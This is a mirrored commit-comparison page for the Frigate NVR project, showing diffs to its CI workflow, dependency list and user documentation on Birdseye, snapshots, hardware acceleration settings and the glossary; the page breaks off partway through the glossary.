mirror of
https://github.com/blakeblackshear/frigate.git
synced 2026-07-21 19:29:00 +03:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
7a22963e6d | ||
|
|
3aadc88a29 | ||
|
|
470abbab9d | ||
|
|
50591cb2fa | ||
|
|
b4b946c624 | ||
|
|
c79d6cf2ea | ||
|
|
7b83b936ab |
@@ -125,7 +125,5 @@ jobs:
|
||||
run: devcontainer up --workspace-folder .
|
||||
- name: Run mypy in devcontainer
|
||||
run: devcontainer exec --workspace-folder . bash -lc "python3 -u -m mypy --config-file frigate/mypy.ini frigate"
|
||||
- name: Check API spec is up to date
|
||||
run: devcontainer exec --workspace-folder . bash -lc "python3 generate_api_auth_spec.py --check"
|
||||
- name: Run unit tests in devcontainer
|
||||
run: devcontainer exec --workspace-folder . bash -lc "python3 -u -m unittest"
|
||||
|
||||
@@ -235,14 +235,6 @@ ruff check frigate/
|
||||
|
||||
# Type check
|
||||
python3 -u -m mypy --config-file frigate/mypy.ini frigate
|
||||
|
||||
# Regenerate the OpenAPI spec after adding, changing, or removing an API
|
||||
# endpoint or its auth dependency — outputs docs/static/frigate-api.yaml,
|
||||
# annotated with each endpoint's auth requirement (admin / any / camera /
|
||||
# public). NEVER edit that file by hand. CI runs the --check variant and fails
|
||||
# if it is out of date. (from repo root)
|
||||
python3 generate_api_auth_spec.py
|
||||
python3 generate_api_auth_spec.py --check
|
||||
```
|
||||
|
||||
### Frontend (from web/ directory)
|
||||
@@ -324,8 +316,6 @@ async def get_events(request: Request, limit: int = 100):
|
||||
# Implementation
|
||||
```
|
||||
|
||||
After adding, changing, or removing an endpoint (or its auth dependency), regenerate the OpenAPI spec with `python3 generate_api_auth_spec.py` so `docs/static/frigate-api.yaml` stays in sync and the endpoint's auth requirement is documented. CI enforces this via the `--check` variant; never edit that file by hand.
|
||||
|
||||
### Configuration Access
|
||||
|
||||
```python
|
||||
|
||||
@@ -11,7 +11,7 @@ joserfc == 1.2.*
|
||||
cryptography == 44.0.*
|
||||
pathvalidate == 3.3.*
|
||||
markupsafe == 3.0.*
|
||||
python-multipart == 0.0.31
|
||||
python-multipart == 0.0.26
|
||||
# Classification Model Training
|
||||
tensorflow == 2.19.* ; platform_machine == 'aarch64'
|
||||
tensorflow-cpu == 2.19.* ; platform_machine == 'x86_64'
|
||||
|
||||
@@ -655,6 +655,11 @@ snapshots:
|
||||
retain:
|
||||
# Required: Default retention days (default: shown below)
|
||||
default: 10
|
||||
# Optional: Mode for retention. (default: shown below)
|
||||
# all - save all snapshots regardless of activity
|
||||
# motion - save snapshots for any detected motion
|
||||
# active_objects - save snapshots for active/moving objects
|
||||
mode: motion
|
||||
# Optional: Per object retention days
|
||||
objects:
|
||||
person: 15
|
||||
|
||||
@@ -54,7 +54,7 @@ The ffmpeg process for capturing audio will be a separate connection to the came
|
||||
<ConfigTabs>
|
||||
<TabItem value="ui">
|
||||
|
||||
Navigate to <NavPath path="Settings > Camera configuration > Streams (FFmpeg)" /> and add an input with the `audio` role pointing to a stream that includes audio.
|
||||
Navigate to <NavPath path="Settings > Camera configuration > FFmpeg" /> and add an input with the `audio` role pointing to a stream that includes audio.
|
||||
|
||||
</TabItem>
|
||||
<TabItem value="yaml">
|
||||
|
||||
@@ -6,16 +6,10 @@ import NavPath from "@site/src/components/NavPath";
|
||||
|
||||
In addition to Frigate's Live camera dashboard, Birdseye allows a portable heads-up view of your cameras to see what is going on around your property / space without having to watch all cameras that may have nothing happening. Birdseye allows specific modes that intelligently show and disappear based on what you care about.
|
||||
|
||||
Birdseye can be viewed by adding the "Birdseye" camera to a Camera Group in the Web UI. Add a Camera Group by pressing the pencil icon in the sidebar on the Live page, and choose "Birdseye" as one of the cameras.
|
||||
Birdseye can be viewed by adding the "Birdseye" camera to a Camera Group in the Web UI. Add a Camera Group by pressing the "+" icon on the Live page, and choose "Birdseye" as one of the cameras.
|
||||
|
||||
Birdseye can also be used in Home Assistant dashboards, cast to media devices, etc.
|
||||
|
||||
:::note
|
||||
|
||||
Each camera tile in Birdseye is composed from the frames of the stream assigned the `detect` role, so a camera's image quality in Birdseye matches its detect stream resolution rather than a higher-resolution recording stream. If a camera looks low quality in Birdseye, increasing the detect width and height (or assigning the `detect` role to a higher-resolution stream) is what affects it. See [setting up camera inputs](./cameras.md#setting-up-camera-inputs) for how roles are assigned.
|
||||
|
||||
:::
|
||||
|
||||
## Birdseye Behavior
|
||||
|
||||
### Birdseye Modes
|
||||
@@ -41,10 +35,10 @@ To include a camera in Birdseye view only for specific circumstances, or exclude
|
||||
|
||||
**Per-camera overrides:** Navigate to <NavPath path="Settings > Camera configuration > Birdseye" /> to override the mode or disable Birdseye for a specific camera.
|
||||
|
||||
| Field | Description |
|
||||
| ------------------- | ------------------------------------------------------------- |
|
||||
| **Enable Birdseye** | Whether this camera appears in Birdseye view |
|
||||
| **Tracking mode** | When to show the camera: `continuous`, `motion`, or `objects` |
|
||||
| Field | Description |
|
||||
|-------|-------------|
|
||||
| **Enable Birdseye** | Whether this camera appears in Birdseye view |
|
||||
| **Tracking mode** | When to show the camera: `continuous`, `motion`, or `objects` |
|
||||
|
||||
</TabItem>
|
||||
<TabItem value="yaml">
|
||||
@@ -78,8 +72,8 @@ By default birdseye shows all cameras that have had the configured activity in t
|
||||
|
||||
Navigate to <NavPath path="Settings > System > Birdseye" />.
|
||||
|
||||
| Field | Description |
|
||||
| ------------------------ | --------------------------------------------------------------------------- |
|
||||
| Field | Description |
|
||||
|-------|-------------|
|
||||
| **Inactivity threshold** | Seconds of inactivity before a camera is hidden from Birdseye (default: 30) |
|
||||
|
||||
</TabItem>
|
||||
@@ -106,9 +100,9 @@ The resolution and aspect ratio of birdseye can be configured. Resolution will i
|
||||
|
||||
Navigate to <NavPath path="Settings > System > Birdseye" />.
|
||||
|
||||
| Field | Description |
|
||||
| ---------- | ----------------------------------------------- |
|
||||
| **Width** | Birdseye output width in pixels (default: 1280) |
|
||||
| Field | Description |
|
||||
|-------|-------------|
|
||||
| **Width** | Birdseye output width in pixels (default: 1280) |
|
||||
| **Height** | Birdseye output height in pixels (default: 720) |
|
||||
|
||||
</TabItem>
|
||||
@@ -167,8 +161,8 @@ It is possible to limit the number of cameras shown on birdseye at one time. Whe
|
||||
|
||||
Navigate to <NavPath path="Settings > System > Birdseye" />.
|
||||
|
||||
| Field | Description |
|
||||
| ------------------------ | ----------------------------------------------------------------------------------- |
|
||||
| Field | Description |
|
||||
|-------|-------------|
|
||||
| **Layout > Max cameras** | Maximum number of cameras shown at once (e.g., `1` for only the most active camera) |
|
||||
|
||||
</TabItem>
|
||||
@@ -193,8 +187,8 @@ By default birdseye tries to fit 2 cameras in each row and then double in size u
|
||||
|
||||
Navigate to <NavPath path="Settings > System > Birdseye" />.
|
||||
|
||||
| Field | Description |
|
||||
| --------------------------- | -------------------------------------------------------- |
|
||||
| Field | Description |
|
||||
|-------|-------------|
|
||||
| **Layout > Scaling factor** | Camera scaling factor between 1.0 and 5.0 (default: 2.0) |
|
||||
|
||||
</TabItem>
|
||||
|
||||
@@ -24,7 +24,7 @@ Each role can only be assigned to one input per camera. The options for roles ar
|
||||
<ConfigTabs>
|
||||
<TabItem value="ui">
|
||||
|
||||
Navigate to <NavPath path="Settings > Camera configuration > Streams (FFmpeg)" />.
|
||||
Navigate to <NavPath path="Settings > Camera configuration > FFmpeg" />.
|
||||
|
||||
| Field | Description |
|
||||
| ----------------- | ------------------------------------------------------------------- |
|
||||
|
||||
@@ -9,54 +9,11 @@ import NavPath from "@site/src/components/NavPath";
|
||||
|
||||
Frigate can be configured through the **Settings UI** or by editing the YAML configuration file directly. The Settings UI is the recommended approach — it provides validation and a guided experience for all configuration options.
|
||||
|
||||
## Using the Settings UI
|
||||
|
||||
The Settings UI groups every configuration option into sections that are listed in the left-hand menu. Each section presents a guided form with validation, so you don't need to remember the structure of the YAML or look up option names by hand.
|
||||
|
||||
### Global vs. camera-level configuration
|
||||
|
||||
Settings are organized into two scopes:
|
||||
|
||||
- **Global configuration** — values under <NavPath path="Settings > Global configuration" /> apply to every camera by default. This is where you set the baseline behavior for object detection, recording, snapshots, motion, and so on.
|
||||
- **Camera configuration** — values under <NavPath path="Settings > Camera configuration" /> apply to a single camera. Use the camera selector button at the top of these pages to choose which camera you are editing.
|
||||
|
||||
When a camera-level section is left untouched, the camera simply inherits the global values. Changing a value on a camera page **overrides** the global value for that camera only — the global setting and every other camera are unaffected. This mirrors how the YAML works, where a value set under `cameras.<name>` takes precedence over the same value set at the top level.
|
||||
|
||||
To undo an override and go back to inheriting from the parent scope, use the reset button at the bottom of the section:
|
||||
|
||||
- On a camera section, the button is labeled **Reset to Global** and restores the camera to the global value.
|
||||
- On a global section, the button is labeled **Reset to Default** and restores Frigate's built-in default.
|
||||
|
||||
Resetting asks for confirmation and cannot be undone once applied.
|
||||
|
||||
### Saving changes and the Save All button
|
||||
|
||||
Edits are not applied until you save them. As soon as you change a value, the UI tracks it as a pending change:
|
||||
|
||||
- The edited section shows a **Modified** badge, and the changed fields are highlighted.
|
||||
- A **You have unsaved changes** notice appears above the section's **Save** and **Undo** buttons. **Save** commits just that section; **Undo** discards its pending edits.
|
||||
|
||||
Because pending changes can span multiple sections — and multiple cameras — the header provides a **Save All** button that writes every pending change at once. Next to it, **Review pending changes** opens a summary that lists each pending edit with its scope (Global or a specific camera), the affected field, and the new value, so you can confirm exactly what will be written before committing. **Undo All** discards every pending change across all sections.
|
||||
|
||||
### Restart-required indicators
|
||||
|
||||
Most settings take effect immediately, but some require Frigate to restart before they apply. Fields that require a restart are marked with a small restart icon and a **Restart required** tooltip next to the field label.
|
||||
|
||||
When you save a change that touches one of these fields, Frigate confirms the save and reminds you that a restart is needed (for example, _"Settings saved successfully. Restart Frigate to apply your changes."_). The notification includes a one-click **Restart Frigate** action so you can apply the change right away, or you can continue editing and restart later.
|
||||
|
||||
### The colored dots in the camera configuration menu
|
||||
|
||||
When you are working under <NavPath path="Settings > Camera configuration" />, small colored dots can appear next to a section's name in the menu. They give you an at-a-glance summary of that section's state for the selected camera:
|
||||
|
||||
- **Blue dot** — this section **overrides the global configuration**. One or more values in the section have been set specifically for this camera and differ from the global defaults.
|
||||
- **Profile-colored dot** — when you are viewing a [camera profile](./profiles.md), a dot in that profile's assigned color indicates the section is **overridden by that profile**. Each profile is given its own distinct color so you can tell at a glance which sections it changes.
|
||||
- **Amber dot** — this section has **unsaved changes**. It appears alongside the **Modified** badge whenever you have pending edits in the section that haven't been saved yet.
|
||||
|
||||
Hover over any dot to see a tooltip describing what it means. Open a section to see exactly which fields are overridden — the section header indicates how many fields differ from the global (or base) configuration.
|
||||
It is recommended to start with a minimal configuration and add to it as described in [the getting started guide](../guides/getting_started.md).
|
||||
|
||||
## Configuration File Location
|
||||
|
||||
For users who prefer to edit the YAML configuration file directly, it is recommended to start with a minimal configuration and add to it as described in [the getting started guide](../guides/getting_started.md).
|
||||
For users who prefer to edit the YAML configuration file directly:
|
||||
|
||||
- **Home Assistant App:** `/addon_configs/<addon_directory>/config.yml` — see [directory list](#accessing-app-config-dir)
|
||||
- **All other installations:** Map to `/config/config.yml` inside the container
|
||||
|
||||
@@ -33,7 +33,7 @@ Select the appropriate hwaccel preset for your hardware.
|
||||
<TabItem value="ui">
|
||||
|
||||
1. Navigate to <NavPath path="Settings > Global configuration > FFmpeg" /> and set **Hardware acceleration arguments** to the appropriate preset for your hardware.
|
||||
2. To override for a specific camera, navigate to <NavPath path="Settings > Camera configuration > Streams (FFmpeg)" /> and set **Hardware acceleration arguments** for that camera.
|
||||
2. To override for a specific camera, navigate to <NavPath path="Settings > Camera configuration > FFmpeg" /> and set **Hardware acceleration arguments** for that camera.
|
||||
|
||||
</TabItem>
|
||||
<TabItem value="yaml">
|
||||
|
||||
@@ -85,7 +85,7 @@ VAAPI supports automatic profile selection so it will work automatically with bo
|
||||
<ConfigTabs>
|
||||
<TabItem value="ui">
|
||||
|
||||
Navigate to <NavPath path="Settings > Global configuration > FFmpeg" /> and set **Hardware acceleration arguments** to `VAAPI (Intel/AMD GPU)`. For per-camera overrides, navigate to <NavPath path="Settings > Camera configuration > Streams (FFmpeg)" />.
|
||||
Navigate to <NavPath path="Settings > Global configuration > FFmpeg" /> and set **Hardware acceleration arguments** to `VAAPI (Intel/AMD GPU)`. For per-camera overrides, navigate to <NavPath path="Settings > Camera configuration > FFmpeg" />.
|
||||
|
||||
</TabItem>
|
||||
<TabItem value="yaml">
|
||||
@@ -105,7 +105,7 @@ ffmpeg:
|
||||
<ConfigTabs>
|
||||
<TabItem value="ui">
|
||||
|
||||
Navigate to <NavPath path="Settings > Global configuration > FFmpeg" /> and set **Hardware acceleration arguments** to `Intel QuickSync (H.264)`. For per-camera overrides, navigate to <NavPath path="Settings > Camera configuration > Streams (FFmpeg)" />.
|
||||
Navigate to <NavPath path="Settings > Global configuration > FFmpeg" /> and set **Hardware acceleration arguments** to `Intel QuickSync (H.264)`. For per-camera overrides, navigate to <NavPath path="Settings > Camera configuration > FFmpeg" />.
|
||||
|
||||
</TabItem>
|
||||
<TabItem value="yaml">
|
||||
@@ -123,7 +123,7 @@ ffmpeg:
|
||||
<ConfigTabs>
|
||||
<TabItem value="ui">
|
||||
|
||||
Navigate to <NavPath path="Settings > Global configuration > FFmpeg" /> and set **Hardware acceleration arguments** to `Intel QuickSync (H.265)`. For per-camera overrides, navigate to <NavPath path="Settings > Camera configuration > Streams (FFmpeg)" />.
|
||||
Navigate to <NavPath path="Settings > Global configuration > FFmpeg" /> and set **Hardware acceleration arguments** to `Intel QuickSync (H.265)`. For per-camera overrides, navigate to <NavPath path="Settings > Camera configuration > FFmpeg" />.
|
||||
|
||||
</TabItem>
|
||||
<TabItem value="yaml">
|
||||
@@ -178,7 +178,7 @@ VAAPI supports automatic profile selection so it will work automatically with bo
|
||||
<ConfigTabs>
|
||||
<TabItem value="ui">
|
||||
|
||||
Navigate to <NavPath path="Settings > Global configuration > FFmpeg" /> and set **Hardware acceleration arguments** to `VAAPI (Intel/AMD GPU)`. For per-camera overrides, navigate to <NavPath path="Settings > Camera configuration > Streams (FFmpeg)" />.
|
||||
Navigate to <NavPath path="Settings > Global configuration > FFmpeg" /> and set **Hardware acceleration arguments** to `VAAPI (Intel/AMD GPU)`. For per-camera overrides, navigate to <NavPath path="Settings > Camera configuration > FFmpeg" />.
|
||||
|
||||
</TabItem>
|
||||
<TabItem value="yaml">
|
||||
@@ -237,7 +237,7 @@ Using `preset-nvidia` ffmpeg will automatically select the necessary profile for
|
||||
<ConfigTabs>
|
||||
<TabItem value="ui">
|
||||
|
||||
Navigate to <NavPath path="Settings > Global configuration > FFmpeg" /> and set **Hardware acceleration arguments** to `NVIDIA GPU`. For per-camera overrides, navigate to <NavPath path="Settings > Camera configuration > Streams (FFmpeg)" />.
|
||||
Navigate to <NavPath path="Settings > Global configuration > FFmpeg" /> and set **Hardware acceleration arguments** to `NVIDIA GPU`. For per-camera overrides, navigate to <NavPath path="Settings > Camera configuration > FFmpeg" />.
|
||||
|
||||
</TabItem>
|
||||
<TabItem value="yaml">
|
||||
@@ -300,7 +300,7 @@ If you are using the HA App, you may need to use the full access variant and tur
|
||||
<ConfigTabs>
|
||||
<TabItem value="ui">
|
||||
|
||||
Navigate to <NavPath path="Settings > Global configuration > FFmpeg" /> and set **Hardware acceleration arguments** to `Raspberry Pi (H.264)` (for H.264 streams) or `Raspberry Pi (H.265)` (for H.265/HEVC streams). For per-camera overrides, navigate to <NavPath path="Settings > Camera configuration > Streams (FFmpeg)" />.
|
||||
Navigate to <NavPath path="Settings > Global configuration > FFmpeg" /> and set **Hardware acceleration arguments** to `Raspberry Pi (H.264)` (for H.264 streams) or `Raspberry Pi (H.265)` (for H.265/HEVC streams). For per-camera overrides, navigate to <NavPath path="Settings > Camera configuration > FFmpeg" />.
|
||||
|
||||
</TabItem>
|
||||
<TabItem value="yaml">
|
||||
@@ -420,7 +420,7 @@ For example, for H264 video, you'll select `preset-jetson-h264`.
|
||||
<ConfigTabs>
|
||||
<TabItem value="ui">
|
||||
|
||||
Navigate to <NavPath path="Settings > Global configuration > FFmpeg" /> and set **Hardware acceleration arguments** to `NVIDIA Jetson (H.264)` (or `NVIDIA Jetson (H.265)` for HEVC streams). For per-camera overrides, navigate to <NavPath path="Settings > Camera configuration > Streams (FFmpeg)" />.
|
||||
Navigate to <NavPath path="Settings > Global configuration > FFmpeg" /> and set **Hardware acceleration arguments** to `NVIDIA Jetson (H.264)` (or `NVIDIA Jetson (H.265)` for HEVC streams). For per-camera overrides, navigate to <NavPath path="Settings > Camera configuration > FFmpeg" />.
|
||||
|
||||
</TabItem>
|
||||
<TabItem value="yaml">
|
||||
@@ -452,7 +452,7 @@ Set the FFmpeg hwaccel preset to enable hardware video processing.
|
||||
<ConfigTabs>
|
||||
<TabItem value="ui">
|
||||
|
||||
Navigate to <NavPath path="Settings > Global configuration > FFmpeg" /> and set **Hardware acceleration arguments** to `Rockchip RKMPP`. For per-camera overrides, navigate to <NavPath path="Settings > Camera configuration > Streams (FFmpeg)" />.
|
||||
Navigate to <NavPath path="Settings > Global configuration > FFmpeg" /> and set **Hardware acceleration arguments** to `Rockchip RKMPP`. For per-camera overrides, navigate to <NavPath path="Settings > Camera configuration > FFmpeg" />.
|
||||
|
||||
</TabItem>
|
||||
<TabItem value="yaml">
|
||||
@@ -519,7 +519,7 @@ Set the FFmpeg hwaccel args to enable hardware video processing.
|
||||
<ConfigTabs>
|
||||
<TabItem value="ui">
|
||||
|
||||
Navigate to <NavPath path="Settings > Global configuration > FFmpeg" /> and configure the hardware acceleration args and input args manually for Synaptics hardware. For per-camera overrides, navigate to <NavPath path="Settings > Camera configuration > Streams (FFmpeg)" />.
|
||||
Navigate to <NavPath path="Settings > Global configuration > FFmpeg" /> and configure the hardware acceleration args and input args manually for Synaptics hardware. For per-camera overrides, navigate to <NavPath path="Settings > Camera configuration > FFmpeg" />.
|
||||
|
||||
</TabItem>
|
||||
<TabItem value="yaml">
|
||||
|
||||
@@ -363,7 +363,7 @@ An example configuration for a dedicated LPR camera using a `license_plate`-dete
|
||||
|
||||
Navigate to <NavPath path="Settings > Enrichments > License plate recognition" /> and set **Enable LPR** to on. Set **Device** to `CPU` (can also be `GPU` if available).
|
||||
|
||||
Navigate to <NavPath path="Settings > Camera configuration > Streams (FFmpeg)" /> and add your camera streams.
|
||||
Navigate to <NavPath path="Settings > Camera configuration > FFmpeg" /> and add your camera streams.
|
||||
|
||||
Navigate to <NavPath path="Settings > Camera configuration > Object detection" />.
|
||||
|
||||
@@ -475,7 +475,7 @@ Navigate to <NavPath path="Settings > Camera configuration > License plate recog
|
||||
| **Enable LPR** | Set to on |
|
||||
| **Enhancement level** | Set to `3` (optional — enhances the image before trying to recognize characters) |
|
||||
|
||||
Navigate to <NavPath path="Settings > Camera configuration > Streams (FFmpeg)" /> and add your camera streams.
|
||||
Navigate to <NavPath path="Settings > Camera configuration > FFmpeg" /> and add your camera streams.
|
||||
|
||||
Navigate to <NavPath path="Settings > Camera configuration > Object detection" />.
|
||||
|
||||
|
||||
@@ -371,7 +371,7 @@ When your browser runs into problems playing back your camera streams, it will l
|
||||
- Verify your camera's H.264/AAC settings (see [Frigate's camera settings recommendations](#camera-settings-recommendations)).
|
||||
- Check go2rtc configuration for transcoding (e.g., audio to AAC/OPUS).
|
||||
- Test with a different stream via the UI dropdown (if `live -> streams` is configured).
|
||||
- For WebRTC-specific issues, ensure port 8555 is forwarded and candidates are set (see [WebRTC Extra Configuration](#webrtc-extra-configuration)).
|
||||
- For WebRTC-specific issues, ensure port 8555 is forwarded and candidates are set (see (WebRTC Extra Configuration)(#webrtc-extra-configuration)).
|
||||
- If your cameras are streaming at a high resolution, your browser may be struggling to load all of the streams before the buffering timeout occurs. Frigate prioritizes showing a true live view as quickly as possible. If the fallback occurs often, change your live view settings to use a lower bandwidth substream.
|
||||
|
||||
3. **It doesn't seem like my cameras are streaming on the Live dashboard. Why?**
|
||||
|
||||
@@ -8,13 +8,10 @@ import ConfigTabs from "@site/src/components/ConfigTabs";
|
||||
import TabItem from "@theme/TabItem";
|
||||
import NavPath from "@site/src/components/NavPath";
|
||||
|
||||
### Supported hardware
|
||||
|
||||
Object detection is what allows Frigate to identify _what_ is in your camera's view — people, cars, animals, and more — rather than just reacting to pixel changes. When Frigate's motion detection finds activity in a frame, that region is sent to an **object detector**, which returns the objects it recognizes along with their location and a confidence score. These detections are what drive tracked objects, alerts, detections, and notifications.
|
||||
|
||||
Object detection is computationally intensive, so Frigate is designed to run it on a dedicated AI accelerator or GPU rather than the CPU. A **detector** is the specific hardware-and-model backend Frigate uses to run inference. Choosing a detector that matches your hardware is one of the most important steps in getting good performance, and the right choice depends on what device Frigate is running on.
|
||||
# Supported Hardware
|
||||
|
||||
:::info
|
||||
|
||||
Frigate supports multiple different detectors that work on different types of hardware:
|
||||
|
||||
**Most Hardware**
|
||||
|
||||
@@ -61,7 +61,7 @@ Configure the go2rtc stream and point the camera inputs at the local restream.
|
||||
<ConfigTabs>
|
||||
<TabItem value="ui">
|
||||
|
||||
Navigate to <NavPath path="Settings > System > go2rtc streams" /> and add stream entries for each camera. Then navigate to <NavPath path="Settings > Camera configuration > Streams (FFmpeg)" /> for each camera and set the input paths to use the local restream URL (`rtsp://127.0.0.1:8554/<camera_name>`).
|
||||
Navigate to <NavPath path="Settings > System > go2rtc streams" /> and add stream entries for each camera. Then navigate to <NavPath path="Settings > Camera configuration > FFmpeg" /> for each camera and set the input paths to use the local restream URL (`rtsp://127.0.0.1:8554/<camera_name>`).
|
||||
|
||||
</TabItem>
|
||||
<TabItem value="yaml">
|
||||
@@ -111,7 +111,7 @@ Two connections are made to the camera. One for the sub stream, one for the rest
|
||||
<ConfigTabs>
|
||||
<TabItem value="ui">
|
||||
|
||||
Navigate to <NavPath path="Settings > System > go2rtc streams" /> and add stream entries for each camera and its sub stream. Then navigate to <NavPath path="Settings > Camera configuration > Streams (FFmpeg)" /> for each camera and configure separate inputs for the main and sub streams using the local restream URLs.
|
||||
Navigate to <NavPath path="Settings > System > go2rtc streams" /> and add stream entries for each camera and its sub stream. Then navigate to <NavPath path="Settings > Camera configuration > FFmpeg" /> for each camera and configure separate inputs for the main and sub streams using the local restream URLs.
|
||||
|
||||
</TabItem>
|
||||
<TabItem value="yaml">
|
||||
|
||||
@@ -7,17 +7,13 @@ import ConfigTabs from "@site/src/components/ConfigTabs";
|
||||
import TabItem from "@theme/TabItem";
|
||||
import NavPath from "@site/src/components/NavPath";
|
||||
|
||||
A snapshot is a single still image that captures a tracked object at its best moment — the clearest frame Frigate saw while following that object across the scene. Unlike a [recording](./record.md), which is continuous video, a snapshot is one representative image saved per tracked object once tracking ends.
|
||||
Frigate can save a snapshot image to `/media/frigate/clips` for each object that is detected named as `<camera>-<id>-clean.webp`. They are also accessible [via the api](../integrations/api/event-snapshot-events-event-id-snapshot-jpg-get.api.mdx)
|
||||
|
||||
When snapshots are enabled, Frigate saves one image to `/media/frigate/clips` for each tracked object, named `<camera>-<id>-clean.webp`. A clean image is always stored without any annotations (no timestamp, bounding boxes, or cropping) so you have an unmodified copy of the original frame. Annotations like bounding boxes and timestamps are applied on demand when a snapshot is requested [via the HTTP API](../integrations/api/event-snapshot-events-event-id-snapshot-jpg-get.api.mdx) — see [Rendering](#rendering) below.
|
||||
Snapshots are accessible in the UI in the Explore pane. This allows for quick submission to the Frigate+ service.
|
||||
|
||||
A few things to keep in mind:
|
||||
To only save snapshots for objects that enter a specific zone, [see the zone docs](./zones.md#restricting-snapshots-to-specific-zones)
|
||||
|
||||
- Snapshots are saved per tracked object, so a camera with no detected objects produces no snapshots even if recording is enabled.
|
||||
- Snapshots and recordings are configured and retained independently — enabling one does not enable the other.
|
||||
- Snapshots are accessible in the UI in the Explore pane, which allows for quick submission to the Frigate+ service.
|
||||
- To only save snapshots for objects that enter a specific zone, [see the zone docs](./zones.md#restricting-snapshots-to-specific-zones).
|
||||
- Snapshots sent via MQTT are configured separately under the camera MQTT settings, not here.
|
||||
Snapshots sent via MQTT are configured separately under the camera MQTT settings, not here.
|
||||
|
||||
## Enabling Snapshots
|
||||
|
||||
@@ -111,6 +107,7 @@ Navigate to <NavPath path="Settings > Global configuration > Snapshots" />.
|
||||
| Field | Description |
|
||||
| -------------------------------------------------- | ----------------------------------------------------------------------------------- |
|
||||
| **Snapshot retention > Default retention** | Number of days to retain snapshots (default: 10) |
|
||||
| **Snapshot retention > Retention mode** | Retention mode: `all`, `motion`, or `active_objects` |
|
||||
| **Snapshot retention > Object retention > Person** | Per-object overrides for retention days (e.g., keep `person` snapshots for 15 days) |
|
||||
|
||||
</TabItem>
|
||||
@@ -121,6 +118,7 @@ snapshots:
|
||||
enabled: True
|
||||
retain:
|
||||
default: 10
|
||||
mode: motion
|
||||
objects:
|
||||
person: 15
|
||||
```
|
||||
|
||||
@@ -5,40 +5,20 @@ title: Glossary
|
||||
|
||||
The glossary explains terms commonly used in Frigate's documentation.
|
||||
|
||||
## Alert
|
||||
|
||||
The higher-priority of the two [review item](#review-item) severities, the other being a [detection](#detection). By default a review item is an alert when it involves a `person` or `car`; the qualifying [labels](#label) and [zones](#zone) can be configured. [See the review docs for more info](/configuration/review)
|
||||
|
||||
## Attribute
|
||||
|
||||
A property detected on an [object](#object) that exists alongside its [label](#label). Unlike a [sub label](#sub-label), an object can carry several attributes at once. Some attributes come directly from the object detection [model](#model) — for example `face`, `license_plate`, or delivery carrier logos such as `amazon`, `ups`, and `fedex` — while others come from a [custom object classification model](/configuration/custom_classification/object_classification) configured with the `attribute` type. Attributes are visible in the Tracked Object Details pane in Explore, in `frigate/events` MQTT messages, and through the HTTP API.
|
||||
|
||||
## Bounding Box
|
||||
|
||||
A box returned by the object detection [model](#model) that outlines a detected [object](#object) in the frame. In the Debug view, bounding boxes are colored by object [label](#label).
|
||||
A box returned from the object detection model that outlines an object in the frame. These have multiple colors depending on object type in the debug live view.
|
||||
|
||||
### Bounding Box Colors
|
||||
|
||||
- At startup different colors will be assigned to each object label
|
||||
- A dark blue thin line indicates that object is not detected at this current point in time
|
||||
- A gray thin line indicates that object is detected as being stationary
|
||||
- A thick line indicates that object is the subject of autotracking (when enabled)
|
||||
|
||||
## Class
|
||||
|
||||
The categories a classification [model](#model) is trained to distinguish between. Each class is a distinct visual category the model predicts, plus a `none` class for inputs that don't fit any category. For example, a custom object classification model for `person` objects might use the classes `delivery_person`, `resident`, and `none`. The predicted class is applied to the [object](#object) as either a [sub label](#sub-label) or an [attribute](#attribute), depending on the model's configuration. [See the object classification docs for more info](/configuration/custom_classification/object_classification)
|
||||
|
||||
## Detection
|
||||
|
||||
The lower-priority of the two [review item](#review-item) severities, the other being an [alert](#alert). By default, any review item that does not qualify as an alert is a detection; the qualifying [labels](#label) and [zones](#zone) can be configured. Despite the name, a detection is a category of review item — not the same as the object detection performed by the [model](#model). [See the review docs for more info](/configuration/review)
|
||||
- A thick line indicates that object is the subject of autotracking (when enabled).
|
||||
|
||||
## False Positive
|
||||
|
||||
An incorrect result from the object detection [model](#model), where it assigns the wrong [label](#label) to something in the frame — for example a dog identified as a person, or a chair identified as a dog. A person correctly identified in an area you want to ignore is not a false positive.
|
||||
|
||||
## Label
|
||||
|
||||
The type assigned to a detected [object](#object) by the object detection [model](#model), drawn from the model's labelmap — for example `person`, `car`, or `dog`. Frigate tracks `person` by default; additional labels are tracked by adding them to the objects configuration. [See the available objects docs for the full list](/configuration/objects)
|
||||
An incorrect detection of an object type. For example a dog being detected as a person, a chair being detected as a dog, etc. A person being detected in an area you want to ignore is not a false positive.
|
||||
|
||||
## Mask
|
||||
|
||||
@@ -46,56 +26,44 @@ There are two types of masks in Frigate. [See the mask docs for more info](/conf
|
||||
|
||||
### Motion Mask
|
||||
|
||||
A motion mask stops [motion](#motion) in the masked area from triggering object detection. It does not stop an object from being detected when object detection runs because of motion in a nearby area. Use motion masks for parts of the frame that change constantly but never contain objects you care about — camera timestamps, the sky, the tops of trees, and so on.
|
||||
Motion masks prevent detection of [motion](#motion) in masked areas from triggering Frigate to run object detection, but do not prevent objects from being detected if object detection runs due to motion in nearby areas. For example: camera timestamps, skies, the tops of trees, etc.
|
||||
|
||||
### Object Mask
|
||||
|
||||
An object filter mask drops any [bounding box](#bounding-box) whose bottom center falls inside the masked area (overlap elsewhere doesn't matter). The object is forced to be treated as a [false positive](#false-positive) and ignored.
|
||||
Object filter masks drop any bounding boxes where the bottom center (overlap doesn't matter) is in the masked area. It forces them to be considered a [false positive](#false-positive) so that they are ignored.
|
||||
|
||||
## Min Score
|
||||
|
||||
The lowest score a detected object can have to be kept during tracking. Anything scoring below the minimum is assumed to be a [false positive](#false-positive) and discarded.
|
||||
|
||||
## Model
|
||||
|
||||
A machine learning model that Frigate uses to detect or classify objects. The object detection model locates [objects](#object) in each frame and returns their [labels](#label) and [bounding boxes](#bounding-box). Additional enrichment models run on tracked objects to add detail: face recognition, license plate recognition, bird classification, custom object and state classification, and the embedding models used for semantic search. [See the object detectors docs for more info](/configuration/object_detectors)
|
||||
The lowest score that an object can be detected with during tracking, any detection with a lower score will be assumed to be a false positive
|
||||
|
||||
## Motion
|
||||
|
||||
A change in pixels between the current camera frame and previous frames. When many nearby pixels change together, they are grouped and shown as a red motion box in the debug live view. [See the motion detection docs for more info](/configuration/motion_detection)
|
||||
|
||||
## Object
|
||||
|
||||
